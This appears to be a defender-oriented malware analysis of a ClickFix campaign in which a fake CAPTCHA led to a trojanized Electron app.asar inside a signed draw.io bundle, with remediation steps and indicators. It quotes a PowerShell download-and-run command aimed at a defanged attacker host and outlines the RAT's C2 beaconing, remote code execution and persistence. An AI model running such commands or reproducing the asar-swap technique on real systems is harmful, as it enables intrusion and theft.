Anatomy of a ClickFix-to-RAT campaign: trojanizing Electron's app.asar
A signed binary, clean DLLs, and one tampered app.asar archive: how a fepafut[.]com ClickFix lure led to a persistent RAT that inherited draw.io's trust chain.
A fake “I’m not a robot” prompt on fepafut[.]com, the official site of the Panamanian football federation, instructed visitors to paste a command into the Windows Run dialog. Classic ClickFix. What followed wasn’t: every executable in the resulting bundle was signed, clean, and would pass a VirusTotal check without a second glance. The compromise lived somewhere code-signing doesn’t look.
The lure
The site’s fake CAPTCHA walked the victim through the now-familiar ClickFix script: “verify you’re human” by opening Run (Win+R) and pasting a command supplied by the page. No exploit, no macro. Just a visitor doing exactly what they were told.
Execution chain
Four stages, each one legitimate on its own:
powershell.exelaunches withiex(irm ccudmcx[.]xyz/u), pulling the second stage into memory and writing it torunner.ps1.powershell.exe(runner.ps1) downloadsupdate26[.]zip, a suspiciously large 1.3GB archive, and extracts it to%LOCALAPPDATA%\UpdateApp\.draw.io.exe, signed by JGraph Ltd. (the real publisher of draw.io), launches normally.- On launch, it loads a trojanized
app.asarand drops persistence via aCurrentVersion\Runregistry key.
The standout detail: asar tampering, not sideloading
Every PE in the bundle came back clean and signed on VirusTotal. The 1.3GB size of
update26[.]zip initially pointed toward DLL sideloading, until it became clear the payload
wasn’t a DLL at all.
Electron apps load their main-process JavaScript from resources\app.asar, a bundled archive
sitting alongside the signed executable. Replace that one file and the malicious code inherits
the trust chain of a legitimately signed application without ever touching a binary that a
code-signing check would flag. Classical PE-integrity controls have nothing to catch here: the
executable itself is untouched and genuinely signed by JGraph.
Electron is the runtime behind a long list of everyday signed apps: VS Code, Discord, Slack,
Postman, and Notion among them. Any of them is a candidate for the same trick if an attacker can
get their app.asar swapped.
RAT capabilities
Once loaded, the trojanized app.asar gave the operator:
- Arbitrary JavaScript execution in the Electron main process via
eval(task.e). - The ability to drop and execute base64-encoded files fetched from C2, via
child_process.exec. - A per-victim persistent ID for stable, trackable beaconing.
Command and control
The implant POSTs every 65 seconds to chimefusion[.]com/u/. The request body is a JSON array
carrying the victim ID, COMPUTERNAME, and USERNAME, enough for the operator to triage
victims without touching the endpoint interactively.
Persistence
app.setLoginItemSettings({ openAtLogin: true })creates aHKCU\Software\Microsoft\Windows\CurrentVersion\Runentry pointing at%LOCALAPPDATA%\UpdateApp\draw.io.exe.- A persistent victim ID is cached at
%APPDATA%\setup.txt. - The Run-key entry is the piece most defenders will wave through: it points at a signed,
legitimate executable. The tell isn’t the binary, it’s the path: draw.io has no legitimate
reason to be installed under
%LOCALAPPDATA%\UpdateApp\.
Remediation
- Block
chimefusion[.]comandccudmcx[.]xyzat the network layer. - Delete
%LOCALAPPDATA%\UpdateApp\,%APPDATA%\setup.txt, and%TEMP%\runner.ps1(%TEMP%\update26[.]zipis self-cleaning as part ofrunner.ps1’s execution). - Remove the
CurrentVersion\Runentry referencingdraw.io.exe. - Rotate any credentials that were active on the host during the compromise window.
Indicators of compromise
Lure fepafut[.]com
Delivery ccudmcx[.]xyz
C2 chimefusion[.]com/u/
Install path %LOCALAPPDATA%\UpdateApp\ (anomalous drawio location)
Victim ID cache %APPDATA%\setup.txt
Dropper %TEMP%\runner.ps1, %TEMP%\update26[.]zip
Persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> draw.io.exe
update26.zip d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd
app.asar 0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883
Takeaways for defenders
app.asaris an underused sideload surface. Any signed Electron app is a candidate: VS Code, Discord, Slack, Postman, and Notion included. Integrity checks that stop at the binary miss it entirely.- A clean VirusTotal result isn’t the end of triage. Every PE here was genuine. The compromise sat inside an archive most tools don’t even look into.
- Path beats hash. The single most reliable tell in this case wasn’t a signature or a hash. It was a legitimate binary running from a location it has no business being in.
